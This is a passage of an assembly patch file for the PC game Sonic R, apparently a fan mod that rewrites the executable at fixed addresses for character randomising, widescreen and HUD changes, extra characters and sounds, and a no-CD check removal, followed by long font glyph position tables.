SlopeFix_AngleCutoff # Cutoff angle jle CharDiff_RollStart CharDiff_SlopeCheckSkip: test byte ptr [ebp-0x13], 0x11 # Accelerating with fwd or button? jz CharDiff_RollStart mov eax, [ebx+0x84] sar eax, 0x10 test eax, eax jg CharDiff_RollStart mov dh, byte ptr [ebp-0x14] test dh, 0x08 # Pressing left jz loc_485E69 test dh, 0x80 # Pressing right jnz CharDiff_RollStart .org 0x485E69, 0x90 loc_485E69: .org 0x485E8C loc_485E8C: .org 0x485EB2 CharDiff_RollStart: */ #; DebugText_Write patch (Printf_NetDummy) . = 0x4868D0 jmp DebugText_Write nop #; Malloc-InitCharacterSelect .org 0x48C985 #; Skip jets xor edi, edi jmp loc_48CA21 .org 0x48CA21, 0x90 loc_48CA21: .org 0x48CAF5 jmp CharSelect_LoadTex .org 0x48CAFA loc_48CAFA: #; Randomize GP characters! .org 0x48CFE1 push word ptr [0x8FD5E6] RandomizeChars: push ebx mov ebx, 0x8FD5E6 + 0x71C sub esp, 24 #;movsx eax, WORD PTR [esp+32] movsx eax, WORD PTR [0x8FD5E6] mov DWORD PTR [esp+8], 0 mov DWORD PTR [esp+12], 0 mov BYTE PTR [esp+8+eax], 1 RandomizeChars.L2: call rand and eax, 7 movsx edx, ax cmp BYTE PTR [esp+8+edx], 0 jne RandomizeChars.L2 mov BYTE PTR [esp+8+edx], 1 mov WORD PTR [ebx], ax add ebx, 0x71C cmp ebx, 0x8FF972 jne RandomizeChars.L2 add esp, 24 pop ebx pop eax .org 0x48D0C6, 0x90 #; Display char portrait instead of model #; It's a loop, where #; ESI is # of portraits to draw #; EDI is P1 RAM base #; [ebp-0x48] is your loop iterator #; [ebp-0x24] is # of portraits to draw << 4 #; [ebp-0x38] is X offset to draw to? #; It is OK to destory EAX, EBX, ECX, EDX. #; (This is super space-crunched, btw.) .org 0x48DADA jmp CharSelect_DispPortrait .org 0x48DB54, 0x90 loc_48DB54: #; Disable jet update and stuff on Records screen .org 0x4912CE .org 0x4912D3, 0x90 #; Make Nack not 12 feet under .org 0x491B19 mov edx, dword ptr [0x05018C0] .org 0x491B20, 0x90 #; Remove 640px width cap on resolution selector . = 0x492210 .org 0x492218, 0x90 #; Make results screen not crash due to missing EggRobo model .org 0x4C72E8 jmp loc_4C737D .org 0x4C737D, 0x90 loc_4C737D: #; Fix Nack's position on results screen .org 0x4C82DE .org 0x4C82E1, 0x90 #; VirtWindowsSize -> SetAspRatio . = 0x004CBE1A SetAspRatio: mov edx, [0x008FD484] #; Window size test edx, edx je Fullscreen #; Multiply width by 0.75 to go from "widescreen" -> "fullscreen" mov edi, [0x006E9898] mov esi, edi shr esi, 02 sub edi, esi mov esi, [0x006E989C] jmp Done . = 0x004CBE5F Fullscreen: . = 0x004CBE6B Done: #; Write VirtualLeftBound to donor address #;. = 0x4CC0F7 #;.byte 0xFC #; Hackishly fix clipping by taking some random, always large address and using that as the clipping bound. May or may not be bad for performannce. #;. = 0x4CC10E #;.byte 0x30 #;.org 0x4CC10C .org 0x4CC0F5 call Render_SetViewport_Classic cmp dword ptr [0x6E9908], 3 #; 3 or 4P? jg Render_SetViewport_HDSkip cmp dword ptr [0x6E9908], 1 #; Not 2P? je Render_SetViewport_HDCall cmp dword ptr [0x8FD45C], 1 #; 2P Split? je Render_SetViewport_HDSkip Render_SetViewport_HDCall: call Render_SetViewport_HD Render_SetViewport_HDSkip: .org 0x4CC1A6, 0x90 #;org 0x4CC115, 0x90 #; Reserve donor memory address to keep UI elements centered #;. = 0x4CC18D #;nop #;nop #;nop #;nop #;nop #;nop #; Use actual screen width when setting camera viewport . = 0x4CC206 .byte 0x98 #; Avoid calling wrong character load functions .org 0x4CDA9C .org 0x4CDAA6, 0x90 #; Increase draw distance multiplier .org 0x4CDBB4 mov eax, 0x7FF .org 0x4CDBD1 mov edi, 0x1FF #; Skip mode selection screen; always use Direct3D because DDraw WILL crash instantly .org 0x4CE22F xor eax, eax .org 0x4CE240, 0x90 #; Always be able to pick up rings .org 0x4CF552 .org 0x4CF554, 0x90 #; Make the console shut up about the CD .org 0x4D01DB .org 0x4D01E9, 0x90 #; Required by LoadMoreSFX .org 0x4D064C LoadSFXFiles: .org 0x4D0760 sub_4D0760: #; Hijack call to point to LoadMoreSFX .org 0x4D0AB5 call LoadMoreSFX #; No-CD patch . = 0x4D0FC3 nop nop . = 0x4D0FEA .byte 0x90, 0x90, 0xEB #; Inject BoostBar into D3D_Render_HudElements .org 0x4D2EBA push [ebp-0x1C] call BoostBar_Draw #;.org 0x4D2F3B, 0x90 .org 0x4D2FC9, 0x90 #; Always render ring counter .org 0x4D3420 .org 0x4D3426, 0x90 #; Move up the place icons in multiplayer to be above BoostBar .org 0x4D36C8 mov edx, 0x160 #; Remove rendering balloon/coin counter, as BoostBar handles that now .org 0x4D3717 .org 0x4D38FA, 0x90 .org 0x4D59F9 CharDiff_Loop: .org 0x4D9DD0 sub_4D9DD0: .org 0x4DAB24 Credits_ShowTextLine: #.org 0x4DAB53 #loc_4DAB53: #; Disable Sonic R branding on title screen .org 0x4DDE09 .org 0x4DDF48, 0x90 #; Define builtin functions . = 0x4E09A0 _nmalloc_: . = 0x4E0CEB fopen_: . = 0x4E0DD7 fread_: . = 0x4E0FD6 fclose_: . = 0x4E1342 rand: . = 0x4EA8D2 lstrcatA: . = 0x4EA968 lstrcpyA: . = 0x4EAA28 GetProcAddress: . = 0x4EAA2E LoadLibraryA: . = 0x4EAA3A wsprintfA: #; Force padding .org 0x4EAB18, 0x00 .data #; Edit animations table .org 0x4FBDF8 #; Sonic .int 0x4FA4C0 .int 0x0C #; Tails .int 0x4FA6C8 .int 0x10 #; Knux .int 0x4FA9C0 .int 0x0B #; Amy (copy Sonic) .int 0x4FA4C0 .int 0x0C #; Fang (copy Sonic) .int 0x4FA4C0 .int 0x0C #; Metal Sonic .int 0x4FB15C .int 0x0A #; Silver (copy Sonic) .int 0x4FA4C0 .int 0x0C #; Blaze (copy Sonic) .int 0x4FA4C0 .int 0x0C #; Everyone must sink. EVERYONE. #; Making them all 4 because my terrible asm patcher doesn't like all 0s .org 0x50157C .word 4 #; Sonic .word 4 #; Tails .word 4 #; Knux .word 4 #; Amy .word 4 #; Fang .word 4 #; M.Sonic .word 4 #; Silver .word 4 #; Blaze .org 0x5050E2 Ending_LogoXPosTable: #; "rb" string (one of like 32) .org 0x51FD44 aRb: .org 0x524746 MSVCRT: .string "msvcrt.dll" KERNEL32: .string "kernel32.dll" FREOPEN: .string "freopen" ALLOCCONSOLE: .string "AllocConsole" FREELIBRARY: .string "FreeLibrary" __IOB_FUNC: .string "__iob_func" W: .string "w" CONOUT: .string "CONOUT$" VPRINTF: .string "vprintf" FINDFIRST: .asciz "FindFirstFileA" FINDNEXT: .asciz "FindNextFileA" NEWLINE: .string "\n" LoadCharacters.LC0: .string "*" LoadCharacters.LC1: .string "bin\\chars\\" LoadCharacters.LC2: .string "bin\\chars\\%d\\" LoadCharacters.LC3: .string "model.srm" LoadCharacters.LC4: .string "tint.grd" LoadCharacters.LC5: .string "an*.bin" LoadCharacters.LC6: .string "%san%d.bin" LoadCharacters.LC7: .string "attribs.dat" #;GFMC_Debug: #; .string "Files found: %d\n" CharSelect_Portraits: .string "bin\\option\\charpix.raw" #;GDT_Test: #; .string "@0Test Font1@1Test Font2@x" BoostBar_Draw.LC0: .string "@x" BoostBar_Draw.LC1: .long 1140457472 Bomb_Update.LC1: .float 16000.0 SoundSfxRingLoss_wav: .string "sound\\sfx\\ringloss.wav" #; Character position data CharPos_Small: #; (0) .word 0xFFFF .word 0x0000 .word 0x0000 #; (1) .word 0xFFFF .word 0x0000 .word 0x0000 #; (2) .word 0xFFFF .word 0x0000 .word 0x0000 #; (3) .word 0xFFFF .word 0x0000 .word 0x0000 #; (4) .word 0xFFFF .word 0x0000 .word 0x0000 #; (5) .word 0xFFFF .word 0x0000 .word 0x0000 #; (6) .word 0xFFFF .word 0x0000 .word 0x0000 #; (7) .word 0xFFFF .word 0x0000 .word 0x0000 #; (8) .word 0xFFFF .word 0x0000 .word 0x0000 #; (9) .word 0xFFFF .word 0x0000 .word 0x0000 #; (10) .word 0xFFFF .word 0x0000 .word 0x0000 #; (11) .word 0xFFFF .word 0x0000 .word 0x0000 #; (12) .word 0xFFFF .word 0x0000 .word 0x0000 #; (13) .word 0xFFFF .word 0x0000 .word 0x0000 #; (14) .word 0xFFFF .word 0x0000 .word 0x0000 #; (15) .word 0xFFFF .word 0x0000 .word 0x0000 #; (16) .word 0xFFFF .word 0x0000 .word 0x0000 #; (17) .word 0xFFFF .word 0x0000 .word 0x0000 #; (18) .word 0xFFFF .word 0x0000 .word 0x0000 #; (19) .word 0xFFFF .word 0x0000 .word 0x0000 #; (20) .word 0xFFFF .word 0x0000 .word 0x0000 #; (21) .word 0xFFFF .word 0x0000 .word 0x0000 #; (22) .word 0xFFFF .word 0x0000 .word 0x0000 #; (23) .word 0xFFFF .word 0x0000 .word 0x0000 #; (24) .word 0xFFFF .word 0x0000 .word 0x0000 #; (25) .word 0xFFFF .word 0x0000 .word 0x0000 #; (26) .word 0xFFFF .word 0x0000 .word 0x0000 #; (27) .word 0xFFFF .word 0x0000 .word 0x0000 #; (28) .word 0xFFFF .word 0x0000 .word 0x0000 #; (29) .word 0xFFFF .word 0x0000 .word 0x0000 #; (30) .word 0xFFFF .word 0x0000 .word 0x0000 #; (31) .word 0xFFFF .word 0x0000 .word 0x0000 #; (32) .word 0x00FD .word 0x0000 .word 0x0003 #; (33) .word 0xFFFF .word 0x0000 .word 0x0000 #; (34) .word 0xFFFF .word 0x0000 .word 0x0000 #; (35) .word 0xFFFF .word 0x0000 .word 0x0000 #; (36) .word 0xFFFF .word 0x0000 .word 0x0000 #; (37) .word 0xFFFF .word 0x0000 .word 0x0000 #; (38) .word 0xFFFF .word 0x0000 .word 0x0000 #; (39) .word 0x009B .word 0x0000 .word 0x0004 #; (40) .word 0x00A8 .word 0x0000 .word 0x0004 #; (41) .word 0x00AC .word 0x0000 .word 0x0004 #; (42) .word 0xFFFF .word 0x0000 .word 0x0000 #; (43) .word 0xFFFF .word 0x0000 .word 0x0000 #; (44) .word 0xFFFF .word 0x0000 .word 0x0000 #; (45) .word 0xFFFF .word 0x0000 .word 0x0000 #; (46) .word 0x009F .word 0x0000 .word 0x0003 #; / (47) .word 0x00EB .word 0x0000 .word 0x0005 #; 0 (48) .word 0x00B0 .word 0x0000 .word 0x0006 #; 1 (49) .word 0x00B6 .word 0x0000 .word 0x0005 #; 2 (50) .word 0x00BB .word 0x0000 .word 0x0006 #; 3 (51) .word 0x00C1 .word 0x0000 .word 0x0006 #; 4 (52) .word 0x00C7 .word 0x0000 .word 0x0006 #; 5 (53) .word 0x00CD .word 0x0000 .word 0x0006 #; 6 (54) .word 0x00D3 .word 0x0000 .word 0x0006 #; 7 (55) .word 0x00D9 .word 0x0000 .word 0x0006 #; 8 (56) .word 0x00DF .word 0x0000 .word 0x0006 #; 9 (57) .word 0x00E5 .word 0x0000 .word 0x0006 #; (58) .word 0xFFFF .word 0x0000 .word 0x0000 #; (59) .word 0xFFFF .word 0x0000 .word 0x0000 #; (60) .word 0xFFFF .word 0x0000 .word 0x0000 #; (61) .word 0xFFFF .word 0x0000 .word 0x0000 #; (62) .word 0xFFFF .word 0x0000 .word 0x0000 #; (63) .word 0xFFFF .word 0x0000 .word 0x0000 #; (64) .word 0xFFFF .word 0x0000 .word 0x0000 #; (65) .word 0x0000 .word 0x0000 .word 0x0006 #; (66) .word 0x0006 .word 0x0000 .word 0x0006 #; (67) .word 0x000C .word 0x0000 .word 0x0006 #; (68) .word 0x0012 .word 0x0000 .word 0x0006 #; (69) .word 0x0018 .word 0x0000 .word 0x0005 #; (70) .word 0x001C .word 0x0000 .word 0x0005 #; (71) .word 0x0022 .word 0x0000 .word 0x0006 #; (72) .word 0x0028 .word 0x0000 .word 0x0006 #; (73) .word 0x002E .word 0x0000 .word 0x0005 #; (74) .word 0x0033 .word 0x0000 .word 0x0005 #; (75) .word 0x0038 .word 0x0000 .word 0x0006 #; (76) .word 0x003E .word 0x0000 .word 0x0005 #; (77) .word 0x0043 .word 0x0000 .word 0x0008 #; (78) .word 0x004B .word 0x0000 .word 0x0007 #; (79) .word 0x0052 .word 0x0000 .word 0x0006 #; (80) .word 0x0058 .word 0x0000 .word 0x0006 #; (81) .word 0x005E .word 0x0000 .word 0x0006 #; (82) .word 0x0064 .word 0x0000 .word 0x0006 #; (83) .word 0x006A .word 0x0000 .word 0x0006 #; (84) .word 0x0070 .word 0x0000 .word 0x0005 #; (85) .word 0x0075 .word 0x0000 .word 0x0006 #; (86) .word 0x007B .word 0x0000 .word 0x0006 #; (87) .word 0x0081 .word 0x0000 .word 0x0009 #; (88) .word 0x008A .word 0x0000 .word 0x0006 #; (89) .word 0x0090 .word 0x0000 .word 0x0006 #; (90) .word 0x0096 .word 0x0000 .word 0x0006 #; (91) .word 0xFFFF .word 0x0000 .word 0x0000 #; (92) .word 0xFFFF .word 0x0000 .word 0x0000 #; (93) .word 0xFFFF .word 0x0000 .word 0x0000 #; (94) .word 0xFFFF .word 0x0000 .word 0x0000 #; (95) .word 0xFFFF .word 0x0000 .word 0x0000 #; (96) .word 0xFFFF .word 0x0000 .word 0x0000 #; (97) .word 0x0000 .word 0x000C .word 0x0006 #; (98) .word 0x0006 .word 0x000C .word 0x0006 #; (99) .word 0x000C .word 0x000C .word 0x0006 #; (100) .word 0x0012 .word 0x000C .word 0x0006 #; (101) .word 0x0018 .word 0x000C .word 0x0006 #; (102) .word 0x001E .word 0x000C .word 0x0005 #; (103) .word 0x0023 .word 0x000C .word 0x0006 #; (104) .word 0x0029 .word 0x000C .word 0x0006 #; (105) .word 0x002F .word 0x000C .word 0x0003 #; (106) .word 0x0032 .word 0x000C .word 0x0004 #; (107) .word 0x0036 .word 0x000C .word 0x0006 #; (108) .word 0x003C .word 0x000C .word 0x0004 #; (109) .word 0x0040 .word 0x000C .word 0x0009 #; (110) .word 0x0049 .word 0x000C .word 0x0006 #; (111) .word 0x004F .word 0x000C .word 0x0006 #; (112) .word 0x0055 .word 0x000C .word 0x0006 #; (113) .word 0x005B .word 0x000C .word 0x0006 #; (114) .word 0x0061 .word 0x000C .word 0x0005 #; (115) .word 0x0066 .word 0x000C .word 0x0006 #; (116) .word 0x006C .word 0x000C .word 0x0005 #; (117) .word 0x0071 .word 0x000C .word 0x0006 #; (118) .word 0x0077 .word 0x000C .word 0x0006 #; (119) .word 0x007D .word 0x000C .word 0x0009 #; (120) .word 0x0086 .word 0x000C .word 0x0006 #; (121) .word 0x008C .word 0x000C .word 0x0006 #; (122) .word 0x0092 .word 0x000C .word 0x0006 #; (123) .word 0xFFFF .word 0x0000 .word 0x0000 #; (124) .word 0xFFFF .word 0x0000 .word 0x0000 #; (125) .word 0xFFFF .word 0x0000 .word 0x0000 #; (126) .word 0xFFFF .word 0x0000 .word 0x0000 #; (127) .word 0xFFFF .word 0x0000 .word 0x0000 #; (128) .word 0xFFFF .word 0x0000 .word 0x0000 #; (129) .word 0xFFFF .word 0x0000 .word 0x0000 #; (130) .word 0xFFFF .word 0x0000 .word 0x0000 #; (131) .word 0xFFFF .word 0x0000 .word 0x0000 #; (132) .word 0xFFFF .word 0x0000 .word 0x0000 #; (133) .word 0xFFFF .word 0x0000 .word 0x0000 #; (134) .word 0xFFFF .word 0x0000 .word 0x0000 #; (135) .word 0xFFFF .word 0x0000 .word 0x0000 #; (136) .word 0xFFFF .word 0x0000 .word 0x0000 #; (137) .word 0xFFFF .word 0x0000 .word 0x0000 #; (138) .word 0xFFFF .word 0x0000 .word 0x0000 #; (139) .word 0xFFFF .word 0x0000 .word 0x0000 #; (140) .word 0xFFFF .word 0x0000 .word 0x0000 #; (141) .word 0xFFFF .word 0x0000 .word 0x0000 #; (142) .word 0xFFFF .word 0x0000 .word 0x0000 #; (143) .word 0xFFFF .word 0x0000 .word 0x0000 #; (144) .word 0xFFFF .word 0x0000 .word 0x0000 #; (145) .word 0xFFFF .word 0x0000 .word 0x0000 #; (146) .word 0xFFFF .word 0x0000 .word 0x0000 #; (147) .word 0xFFFF .word 0x0000 .word 0x0000 #; (148) .word 0xFFFF .word 0x0000 .word 0x0000 #; (149) .word 0xFFFF .word 0x0000 .word 0x0000 #; (150) .word 0xFFFF .word 0x0000 .word 0x0000 #; (151) .word 0xFFFF .word 0x0000 .word 0x0000 #; (152) .word 0xFFFF .word 0x0000 .word 0x0000 #; (153) .word 0xFFFF .word 0x0000 .word 0x0000 #; (154) .word 0xFFFF .word 0x0000 .word 0x0000 #; (155) .word 0xFFFF .word 0x0000 .word 0x0000 #; (156) .word 0xFFFF .word 0x0000 .word 0x0000 #; (157) .word 0xFFFF .word 0x0000 .word 0x0000 #; (158) .word 0xFFFF .word 0x0000 .word 0x0000 #; (159) .word 0xFFFF .word 0x0000 .word 0x0000 #; (160) .word 0xFFFF .word 0x0000 .word 0x0000 #; (161) .word 0xFFFF .word 0x0000 .word 0x0000 #; (162) .word 0xFFFF .word 0x0000 .word 0x0000 #; (163) .word 0xFFFF .word 0x0000 .word 0x0000 #; (164) .word 0xFFFF .word 0x0000 .word 0x0000 #; (165) .word 0xFFFF .word 0x0000 .word 0x0000 #; (166) .word 0xFFFF .word 0x0000 .word 0x0000 #; (167) .word 0xFFFF .word 0x0000 .word 0x0000 #; (168) .word 0xFFFF .word 0x0000 .word 0x0000 #; (169) .word 0xFFFF .word 0x0000 .word 0x0000 #; (170) .word 0xFFFF .word 0x0000 .word 0x0000 #; (171) .word 0xFFFF .word 0x0000 .word 0x0000 #; (172) .word 0xFFFF .word 0x0000 .word 0x0000 #; (173) .word 0xFFFF .word 0x0000 .word 0x0000 #; (174) .word 0xFFFF .word 0x0000 .word 0x0000 #; (175) .word 0xFFFF .word 0x0000 .word 0x0000 #; (176) .word 0xFFFF .word 0x0000 .word 0x0000 #; (177) .word 0xFFFF .word 0x0000 .word 0x0000 #; (178) .word 0xFFFF .word 0x0000 .word 0x0000 #; (179) .word 0xFFFF .word 0x0000 .word 0x0000 #; (180) .word 0xFFFF .word 0x0000 .word 0x0000 #; (181) .word 0xFFFF .word 0x0000 .word 0x0000 #; (182) .word 0xFFFF .word 0x0000 .word 0x0000 #; (183) .word 0xFFFF .word 0x0000 .word 0x0000 #; (184) .word 0xFFFF .word 0x0000 .word 0x0000 #; (185) .word 0xFFFF .word 0x0000 .word 0x0000 #; (186) .word 0xFFFF .word 0x0000 .word 0x0000 #; (187) .word 0xFFFF .word 0x0000 .word 0x0000 #; (188) .word 0xFFFF .word 0x0000 .word 0x0000 #; (189) .word 0xFFFF .word 0x0000 .word 0x0000 #; (190) .word 0xFFFF .word 0x0000 .word 0x0000 #; (191) .word 0xFFFF .word 0x0000 .word 0x0000 #; (192) .word 0xFFFF .word 0x0000 .word 0x0000 #; (193) .word 0xFFFF .word 0x0000 .word 0x0000 #; (194) .word 0xFFFF .word 0x0000 .word 0x0000 #; (195) .word 0xFFFF .word 0x0000 .word 0x0000 #; (196) .word 0xFFFF .word 0x0000 .word 0x0000 #; (197) .word 0xFFFF .word 0x0000 .word 0x0000 #; (198) .word 0xFFFF .word 0x0000 .word 0x0000 #; (199) .word 0xFFFF .word 0x0000 .word 0x0000 #; (200) .word 0xFFFF .word 0x0000 .word 0x0000 #; (201) .word 0xFFFF .word 0x0000 .word 0x0000 #; (202) .word 0xFFFF .word 0x0000 .word 0x0000 #; (203) .word 0xFFFF .word 0x0000 .word 0x0000 #; (204) .word 0xFFFF .word 0x0000 .word 0x0000 #; (205) .word 0xFFFF .word 0x0000 .word 0x0000 #; (206) .word 0xFFFF .word 0x0000 .word 0x0000 #; (207) .word 0xFFFF .word 0x0000 .word 0x0000 #; (208) .word 0xFFFF .word 0x0000 .word 0x0000 #; (209) .word 0xFFFF .word 0x0000 .word 0x0000 #; (210) .word 0xFFFF .word 0x0000 .word 0x0000 #; (211) .word 0xFFFF .word 0x0000 .word 0x0000 #; (212) .word 0xFFFF .word 0x0000 .word 0x0000 #; (213) .word 0xFFFF .word 0x0000 .word 0x0000 #; (214) .word 0xFFFF .word 0x0000 .word 0x0000 #; (215) .word 0xFFFF .word 0x0000 .word 0x0000 #; (216) .word 0xFFFF .word 0x0000 .word 0x0000 #; (217) .word 0xFFFF .word 0x0000 .word 0x0000 #; (218) .word 0xFFFF .word 0x0000 .word 0x0000 #; (219) .word 0xFFFF .word 0x0000 .word 0x0000 #; (220) .word 0xFFFF .word 0x0000 .word 0x0000 #; (221) .word 0xFFFF .word 0x0000 .word 0x0000 #; (222) .word 0xFFFF .word 0x0000 .word 0x0000 #; (223) .word 0xFFFF .word 0x0000 .word 0x0000 #; (224) .word 0xFFFF .word 0x0000 .word 0x0000 #; (225) .word 0xFFFF .word 0x0000 .word 0x0000 #; (226) .word 0xFFFF .word 0x0000 .word 0x0000 #; (227) .word 0xFFFF .word 0x0000 .word 0x0000 #; (228) .word 0xFFFF .word 0x0000 .word 0x0000 #; (229) .word 0xFFFF .word 0x0000 .word 0x0000 #; (230) .word 0xFFFF .word 0x0000 .word 0x0000 #; (231) .word 0xFFFF .word 0x0000 .word 0x0000 #; (232) .word 0xFFFF .word 0x0000 .word 0x0000 #; (233) .word 0xFFFF .word 0x0000 .word 0x0000 #; (234) .word 0xFFFF .word 0x0000 .word 0x0000 #; (235) .word 0xFFFF .word 0x0000 .word 0x0000 #; (236) .word 0xFFFF .word 0x0000 .word 0x0000 #; (237) .word 0xFFFF .word 0x0000 .word 0x0000 #; (238) .word 0xFFFF .word 0x0000 .word 0x0000 #; (239) .word 0xFFFF .word 0x0000 .word 0x0000 #; (240) .word 0xFFFF .word 0x0000 .word 0x0000 #; (241) .word 0xFFFF .word 0x0000 .word 0x0000 #; (242) .word 0xFFFF .word 0x0000 .word 0x0000 #; (243) .word 0xFFFF .word 0x0000 .word 0x0000 #; (244) .word 0xFFFF .word 0x0000 .word 0x0000 #; (245) .word 0xFFFF .word 0x0000 .word 0x0000 #; (246) .word 0xFFFF .word 0x0000 .word 0x0000 #; (247) .word 0xFFFF .word 0x0000 .word 0x0000 #; (248) .word 0xFFFF .word 0x0000 .word 0x0000 #; (249) .word 0xFFFF .word 0x0000 .word 0x0000 #; (250) .word 0xFFFF .word 0x0000 .word 0x0000 #; (251) .word 0xFFFF .word 0x0000 .word 0x0000 #; (252) .word 0xFFFF .word 0x0000 .word 0x0000 #; (253) .word 0xFFFF .word 0x0000 .word 0x0000 #; (254) .word 0xFFFF .word 0x0000 .word 0x0000 #; (255) .word 0xFFFF .word 0x0000 .word 0x0000 CharFmt_Big: #; (0) .word 0xFFFF .word 0x0000 .word 0x0000 #; (1) .word 0xFFFF .word 0x0000 .word 0x0000 #; (2) .word 0xFFFF .word 0x0000 .word 0x0000 #; (3) .word 0xFFFF .word 0x0000 .word 0x0000 #; (4) .word 0xFFFF .word 0x0000 .word 0x0000 #; (5) .word 0xFFFF .word 0x0000 .word 0x0000 #; (6) .word 0xFFFF .word 0x0000 .word 0x0000 #; (7) .word 0xFFFF .word 0x0000 .word 0x0000 #; (8) .word 0xFFFF .word 0x0000 .word 0x0000 #; (9) .word 0xFFFF .word 0x0000 .word 0x0000 #; (10) .word 0xFFFF .word 0x0000 .word 0x0000 #; (11) .word 0xFFFF .word 0x0000 .word 0x0000 #; (12) .word 0xFFFF .word 0x0000 .word 0x0000 #; (13) .word 0xFFFF .word 0x0000 .word 0x0000 #; (14) .word 0xFFFF .word 0x0000 .word 0x0000 #; (15) .word 0xFFFF .word 0x0000 .word 0x0000 #; (16) .word 0xFFFF .word 0x0000 .word 0x0000 #; (17) .word 0xFFFF .word 0x0000 .word 0x0000 #; (18) .word 0xFFFF .word 0x0000 .word 0x0000 #; (19) .word 0xFFFF .word 0x0000 .word 0x0000 #; (20) .word 0xFFFF .word 0x0000 .word 0x0000 #; (21) .word 0xFFFF .word 0x0000 .word 0x0000 #; (22) .word 0xFFFF .word 0x0000 .word 0x0000 #; (23) .word 0xFFFF .word 0x0000 .word 0x0000 #; (24) .word 0xFFFF .word 0x0000 .word 0x0000 #; (25) .word 0xFFFF .word 0x0000 .word 0x0000 #; (26) .word 0xFFFF .word 0x0000 .word 0x0000 #; (27) .word 0xFFFF .word 0x0000 .word 0x0000 #; (28) .word 0xFFFF .word 0x0000 .word 0x0000 #; (29) .word 0xFFFF .word 0x0000 .word 0x0000 #; (30) .word 0xFFFF .word 0x0000 .word 0x0000 #; (31) .word 0xFFFF .word 0x0000 .word 0x0000 #; (32) .word 0x00FC .word 0x0000 .word 0x0004 #; (33) .word 0xFFFF .word 0x0000 .word 0x0000 #; (34) .word 0xFFFF .word 0x0000 .word 0x0000 #; (35) .word 0xFFFF .word 0x0000 .word 0x0000 #; (36) .word 0xFFFF .word 0x0000 .word 0x0000 #; (37) .word 0xFFFF .word 0x0000 .word 0x0000 #; (38) .word 0xFFFF .word 0x0000 .word 0x0000 #; (39) .word 0x00D2 .word 0x0056 .word 0x0005 #; (40) .word 0xFFFF .word 0x0000 .word 0x0000 #; (41) .word 0xFFFF .word 0x0000 .word 0x0000 #; (42) .word 0xFFFF .word 0x0000 .word 0x0000 #; (43) .word 0xFFFF .word 0x0000 .word 0x0000 #; (44) .word 0xFFFF .word 0x0000 .word 0x0000 #; (45) .word 0xFFFF .word 0x0000 .word 0x0000 #; (46) .word 0x00D7 .word 0x0056 .word 0x0004 #; (47) .word 0xFFFF .word 0x0000 .word 0x0000 #; (48) .word 0xFFFF .word 0x0000 .word 0x0000 #; (49) .word 0xFFFF .word 0x0000 .word 0x0000 #; (50) .word 0xFFFF .word 0x0000 .word 0x0000 #; (51) .word 0xFFFF .word 0x0000 .word 0x0000 #; (52) .word 0xFFFF .word 0x0000 .word 0x0000 #; (53) .word 0xFFFF .word 0x0000 .word 0x0000 #; (54) .word 0xFFFF .word 0x0000 .word 0x0000 #; (55) .word 0xFFFF .word 0x0000 .word 0x0000 #; (56) .word 0xFFFF .word 0x0000 .word 0x0000 #; (57) .word 0xFFFF .word 0x0000 .word 0x0000 #; (58) .word 0xFFFF .word 0x0000 .word 0x0000 #; (59) .word 0xFFFF .word 0x0000 .word 0x0000 #; (60) .word 0xFFFF .word 0x0000 .word 0x0000 #; (61) .word 0xFFFF .word 0x0000 .word 0x0000 #; (62) .word 0xFFFF .word 0x0000 .word 0x0000 #; (63) .word 0xFFFF .word 0x0000 .word 0x0000 #; (64) .word 0xFFFF .word 0x0000 .word 0x0000 #; (65) .word 0x0000 .word 0x0056 .word 0x0008 #; (66) .word 0x0008 .word 0x0056 .word 0x0008 #; (67) .word 0x0010 .word 0x0056 .word 0x0008 #; (68) .word 0x0018 .word 0x0056 .word 0x0008 #; (69) .word 0x0020 .word 0x0056 .word 0x0007 #; (70) .word 0x0027 .word 0x0056 .word 0x0007 #; (71) .word 0x002E .word 0x0056 .word 0x0008 #; (72) .word 0x0036 .word 0x0056 .word 0x0008 #; (73) .word 0x003E .word 0x0056 .word 0x0006 #; (74) .word 0x0045 .word 0x0056 .word 0x0006 #; (75) .word 0x004B .word 0x0056 .word 0x0008 #; (76) .word 0x0053 .word 0x0056 .word 0x0006 #; (77) .word 0x0059 .word 0x0056 .word 0x000C #; (78) .word 0x0065 .word 0x0056 .word 0x0009 #; (79) .word 0x006E .word 0x0056 .word 0x0008 #; (80) .word 0x0076 .word 0x0056 .word 0x0008 #; (81) .word 0x007E .word 0x0056 .word 0x0008 #; (82) .word 0x0086 .word 0x0056 .word 0x0008 #; (83) .word 0x008E .word 0x0056 .word 0x0008 #; (84) .word 0x0096 .word 0x0056 .word 0x0008 #; (85) .word 0x009E .word 0x0056 .word 0x0008 #; (86) .word 0x00A6 .word 0x0056 .word 0x0008 #; (87) .word 0x00AE .word 0x0056 .word 0x000C #; (88) .word 0x00BA .word 0x0056 .word 0x0008 #; (89) .word 0x00C2 .word 0x0056 .word 0x0008 #; (90) .word 0x00CA .word 0x0056 .word 0x0008 #; (91) .word 0xFFFF .word 0x0000 .word 0x0000 #; (92) .word 0xFFFF .word 0x0000 .word 0x0000 #; (93) .word 0xFFFF .word 0x0000 .word 0x0000 #; (94) .word 0xFFFF .word 0x0000 .word 0x0000 #; (95) .word 0xFFFF .word 0x0000 .word 0x0000 #; (96) .word 0xFFFF .word 0x0000 .word 0x0000 #; (97) .word 0x0000 .word 0x0048 .word 0x0008 #; (98) .word 0x0008 .word 0x0048 .word 0x0008 #; (99) .word 0x0010 .word 0x0048 .word 0x0008 #; (100) .word 0x0018 .word 0x0048 .word 0x0008 #; (101) .word 0x0020 .word 0x0048 .word 0x0008 #; (102) .word 0x0028 .word 0x0048 .word 0x0007 #; (103) .word 0x002F .word 0x0048 .word 0x0008 #; (104) .word 0x0037 .word 0x0048 .word 0x0008 #; (105) .word 0x003F .word 0x0048 .word 0x0004 #; (106) .word 0x0044 .word 0x0048 .word 0x0005 #; (107) .word 0x0049 .word 0x0048 .word 0x0008 #; (108) .word 0x0051 .word 0x0048 .word 0x0005 #; (109) .word 0x0056 .word 0x0048 .word 0x000C #; (110) .word 0x0062 .word 0x0048 .word 0x0008 #; (111) .word 0x006A .word 0x0048 .word 0x0008 #; (112) .word 0x0072 .word 0x0048 .word 0x0008 #; (113) .word 0x007A .word 0x0048 .word 0x0008 #; (114) .word 0x0082 .word 0x0048 .word 0x0007 #; (115) .word 0x0089 .word 0x0048 .word 0x0008 #; (116) .word 0x0091 .word 0x0048 .word 0x0007 #; (117) .word 0x0098 .word 0x0048 .word 0x0008 #; (118) .word 0x00A0 .word 0x0048 .word 0x0008 #; (119) .word 0x00A8 .word 0x0048 .word 0x000C #; (120) .word 0x00B4 .word 0x0048 .word 0x0008 #; (121) .word 